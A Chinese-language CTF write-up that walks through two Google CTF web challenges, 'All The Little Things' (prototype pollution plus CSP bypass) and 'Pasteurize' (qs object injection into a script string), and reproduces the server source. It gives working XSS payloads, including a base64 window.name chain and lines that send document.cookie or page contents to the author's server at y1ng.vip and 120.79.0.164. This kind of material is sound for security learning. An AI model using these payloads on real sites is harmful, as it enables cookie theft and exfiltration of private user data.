# All The Little Things (原型链污染 xss)

I left a little secret in a note, but it’s private, private is safe.

Note: TJMike🎤 from Pasteurize is also logged into the page.

https://littlethings.web.ctfcompetition.com

题目是个 note,另外还加了一些用户自己的 profile,以及可以切换主题 light 和 dark

image-20220228142502974

settings:

image-20220228142535990

还有 CSP:

image-20220228143030348

在 HTML 源码中注意到有一个注释,开启后则多出来一个 debug 的 div

image-20220228143238267

然后因为这是个 JS 题,来一个一个看下 JS 文件。

# 代码审计

static/scripts/utils.js

image-20220228145250235

fetch 这个 /me 的路由可以得到个人信息,像这样:

{"username":"Y1ng","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{},"choice":1}}

注意到 then(make_user_object) ,那么我们跟进 /static/scripts/user.js

image-20220228145410774

image-20220228145427650

首先他有一个 User 类,可以看到这个类下全部都是私有属性并且是没有 set 的,另外 toString() 会返回 username 。之后就是 make_user_object 函数,如果设置了 debug 就会调用 load_debug ,后面还会 update_theme() 。我们先跟进这个 update_theme() 看下:

image-20220228145902906

这个 update_theme() 实际上就是 <script src= /theme?cb=${theme.cb} > ,测试发现想要设置 dark 主题调用 set_dark_theme() 那么实际上就是一个 script 标签引用到 /theme?cb=set_dark_theme 上去,那么这里很明显 cb 参数后面加了什么就会 call 什么函数:

image-20220228150106663

现在回头去看 load_debug() ,在 static/scripts/debug.js 下:

image-20220228150141934

image-20220228150153418

有一个非常非常显眼的东西: Object.assign(user, debug) ,而 debug 就是 window.name 的 json。 Object.assign()lodashmerge() 基本一样 (区别在于一个是浅拷贝一个是深拷贝),经典的原型链污染,所以我们只要控制了 window.name 就能污染 user 对象了。

# 原型链污染

theme.cb 是会被 call 的函数,而刚刚说了, User 类下全是私有属性并且没有 setter ,那么我们不能直接控制 theme.cb

image-20220301140917882

但是通过 assign() 污染 __proto__ 之后就可以绕过这个限制了:

image-20220301141117149

可以看到现在取出来 user 对象的 theme 已经是 {cb: "alert"} 了,通过原型链污染我们控制了调用的函数。

# csp 绕过

然而本题目还有 CSP,很多 js 是不能执行的。想要绕过这个 CSP 可以选择使用 iframe ,在 iframe 下利用 scrip src 调用 theme?cb= 来 callback,这是完全可行的,并且 iframe 里也可以获取到主窗口下的内容,很多 CSRF 题目都是这个做题套路,类似这样:

{
   "__proto__":{},
   "theme":{
      "cb":"document.body.innerHTML=window.name.toString"
   },
   "htmlGoesHere": "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>"
}

那么做到现在,我们甚至都还不知道这题要得到什么,注意到题目描述说用 Pasteurize 的 xss bot,那么我们可以用那个题的 xss 方法来进行 xss (请看后文)。可是,需要 xss 打什么?打 cookie 吗?cookie 是 HTTP-Only 的也没法用

实际上,我们需要得到管理员账户一个私有的 note,我们可以构造 xss 去得到那个 bot 的 note 页面并 leak 到我们的服务器上。至于如何设置我们自己的服务器地址可以先创建标签然后用 innerText 取出来

{
   "__proto__":{},
   "theme":{
      "cb":"document.body.firstElementChild.innerHTML=window.name.toString"
   },
   "payload":[
      "<form id='concat'>https://your_server/?<div></div></form>",
      "<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>",
      "<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>"
   ]
}

转 base64 然后 eval() 来执行,用 pasteurize 的方法让 bot 执行,这里有个小 trick,通过判断 UA 来控制 window.location ,我当时做 pasteurize 时候没有想到。另外不要忘了 urlencode,因为 + 会被解析成空格

content[]=;window.name=atob(`JTdCJTBBJTIwJTIwJTIwJTIyX19wcm90b19fJTIyJTNBJTdCJTdEJTJDJTBBJTIwJTIwJTIwJTIydGhlbWUlMjIlM0ElN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjJjYiUyMiUzQSUyMmRvY3VtZW50LmJvZHkuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJIVE1MJTNEd2luZG93Lm5hbWUudG9TdHJpbmclMjIlMEElMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjJwYXlsb2FkJTIyJTNBJTVCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIyJTNDZm9ybSUyMGlkJTNEJTI3Y29uY2F0JTI3JTNFaHR0cCUzQS8vMTIwLjc5LjAuMTY0JTNBMTIzNC8lM0YlM0NkaXYlM0UlM0MvZGl2JTNFJTNDL2Zvcm0lM0UlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjIlM0NpZnJhbWUlMjBzcmNkb2MlM0QlMjclM0NzY3JpcHQlMjBzcmMlM0QvdGhlbWUlM0ZjYiUzRHdpbmRvdy50b3AuY29uY2F0LmZpcnN0RWxlbWVudENoaWxkLmlubmVyVGV4dCUzRHdpbmRvdy50b3AuZG9jdW1lbnQuYm9keS5pbm5lclRleHQudG9TdHJpbmclM0UlM0Mvc2NyaXB0JTNFJTI3JTNFJTNDL2lmcmFtZSUzRSUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMiUzQ2lmcmFtZSUyMHNyY2RvYyUzRCUyNyUzQ3NjcmlwdCUyMHNyYyUzRC90aGVtZSUzRmNiJTNEd2luZG93LnRvcC5sb2NhdGlvbi5ocmVmJTNEd2luZG93LnRvcC5jb25jYXQuaW5uZXJUZXh0LnRvU3RyaW5nJTNFJTNDL3NjcmlwdCUzRSUyNyUzRSUzQy9pZnJhbWUlM0UlMjIlMEElMjAlMjAlMjAlNUQlMEElN0Q=`);if(navigator.userAgent.includes('Headless'))location.href=`https://littlethings.web.ctfcompetition.com/note?__debug__`;//

image-20220301143056284

控制台调一下,此时已经执行成功了:

image-20220301143114314

解码

image-20220301143129445

不过 samurai 这个通过 UA 判断是否跳转的套路我没成功,最后还是直接用了 location.href 跳转,于是我们得到了管理员的 note 的地址

img

到 note 下有什么就好了,直接修改跳转的地址为这个 note 的地址其他都不需要改

location.href=`https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__

得到 flag:

img

# pasteurize(xss)

This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

https://pasteurize.web.ctfcompetition.com/

  • 利用 qs 模块传递对象进行逃逸
  • xss

# 源码

在 /source 得到源码:

.,m/
const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;
/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
  'hl': 'en',
  callback: 'captcha_cb'
});
/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
  etag: true,
  maxAge: 300 * 1000,
}));
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));
/* Just a datastore. I would be surprised if it's fragile. */
class Database {
  constructor() {
    this._db = new Datastore({
      namespace: 'littlethings'
    });
  }
  add_note(note_id, content) {
    const note = {
      note_id: note_id,
      owner: 'guest',
      content: content,
      public: 1,
      created: Date.now()
    }
    return this._db.save({
      key: this._db.key(['Note', note_id]),
      data: note,
      excludeFromIndexes: ['content']
    });
  }
  async get_note(note_id) {
    const key = this._db.key(['Note', note_id]);
    let note;
    try {
      note = await this._db.get(key);
    } catch (e) {
      console.error(e);
      return null;
    }
    if (!note || note.length < 1) {
      return null;
    }
    note = note[0];
    if (note === undefined || note.public !== 1) {
      return null;
    }
    return note;
  }
}
const DB = new Database();
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
/* o/ */
app.get('/', (req, res) => {
  res.render('index');
});
/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }
  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});
/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);
  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }
  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);
  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});
/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
  const id = req.params.id;
  /* No robots please! */
  if (req.recaptcha.error) {
    console.error(req.recaptcha.error);
    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
  }
  /* Make TJMike visit the paste */
  utils.visit(id, req);
  res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});
/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
  res.set("Content-type", "text/plain; charset=utf-8");
  res.sendFile(__filename);
});
/* Let it begin! */
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`);
  console.log('Press Ctrl+C to quit.');
});
module.exports = app;

# 代码审计

image-20220228161052667

对note进行一个长度筛选,然后在数据库中添加note数据,返回note_id

image-20220228161147814

根据note_id查询note

image-20220228161329033

上面是note_id,下面是内容

image-20220228161427750

bot visit

代码比较简单就不多说了。主要是个 pasteboard,然后有一些过滤,可以把输入的内容给管理员看,典型的 xss 题目。

首先来看下 escape_string 函数:

const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

这里主要是 JSON 转字符串之后剥去了收尾各一个字符,之后再进行一个字符替换。

然后会把经过 escape_string() 处理的字符串渲染进模板,我们随便提交点东西看看模板里有什么:

image-20220228162918101

这里主要是 JSON 转字符串之后剥去了收尾各一个字符,之后再进行一个字符替换。

然后会把经过 escape_string() 处理的字符串渲染进模板,我们随便提交点东西看看模板里有什么:

image-20220228163014242

这里可以看到, const note 就是我们渲染进去的内容,然后经过了 DOMPurify.sanitize() 处理再显示出来, DOMPurify.sanitize() 会剥去标签的事件等可以触发 XSS 的东西

img

查资料发现曾经的版本可以用突变 XSS (mXSS) 来绕过 DOMPurify,然而已经在后续的版本更新了,本题使用的 Purify.js 是新版本,不存在这个 bypass 漏洞。

另外我们输入的东西会被显示在 <div></div> 里,因为后端的 esacpe_string() 又过滤了 <> 就更不能 xss 了

img

如果 DOMPurify 不存在漏洞,那就只能去 bypass 后端 escape_string() 了。

自己再本地调了一下,发现这个 JSON.stringify() 很多余,既然 note 是个字符串,为啥要转成 JSON,于是我想尝试提交一个对象,可惜服务端没有支持 application/json ,不过可以注意到题目使用了 qs 模块:

app.use(bodyParser.urlencoded({
  extended: true
}));

没用过 qs.parse() 也没关系,npm 查一下就知道了, qs.parse() 允许我们通过 URLENCODED 实现 JSON 一样的功能,即提交嵌套对象。

assert.deepEqual(qs.parse('foo[bar]=baz'), {
    foo: {
        bar: 'baz'
    }
});

继续本地测试:

image-20220301093721545

正常情况下提交 content 就是什么就输出什么,因为 slice(1,-1) 脱去了分号;如果是利用 qs.parse() 提交对象就不一样了,此时经过 JSON.stringify() 得到的字符串再 slice(1,-1) 切片脱去的就不再是引号而是两侧的大括号了,因为此时的 content 不再是字符串而是对象

img

这实际上非常有用,它被渲染进了模板,然后 DOMPurify 对它不会做任何处理,所以是直接输出的。我们可以清楚看到,因为 DOMPurify 对其没有任何操作,它会被原封不动输出,而引号没有被转义就可以用来构造闭合进而进行 JS 注入

img

进行如下 Post 提交:

content[;alert(1)//]=Y1ng_test

得到:

const note = "";alert(1)//":"Y1ng_test"";

弹窗成功:

image-20220301095012839

这就简单了,只要在这里构造 xss payload 就可以了。在属性名上构造比较不方便,继续构造一个闭合然后把主要 payload 写在等号的右边

content[;Y1ng=]=;window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//

效果为:

const note = "";Y1ng=":";window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//"";

window.open() 的话 bot 好像解析不了,然后换了 window.location ,但是问题在于自己的网页也会重定向,必须要快一点把重定向取消然后点击那个提交,服务器上收到 flag:

img

当然除了 window.location 这种拼手速的 payload,还有其他很多方法带出 flag,只要学过 js 就肯定有办法,比如:

content[;Y1ng=]=;var img = document.createElement('img');img.src = `http://120.79.0.164/?q=${document.cookie}`;document.body.appendChild(img);//

img

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝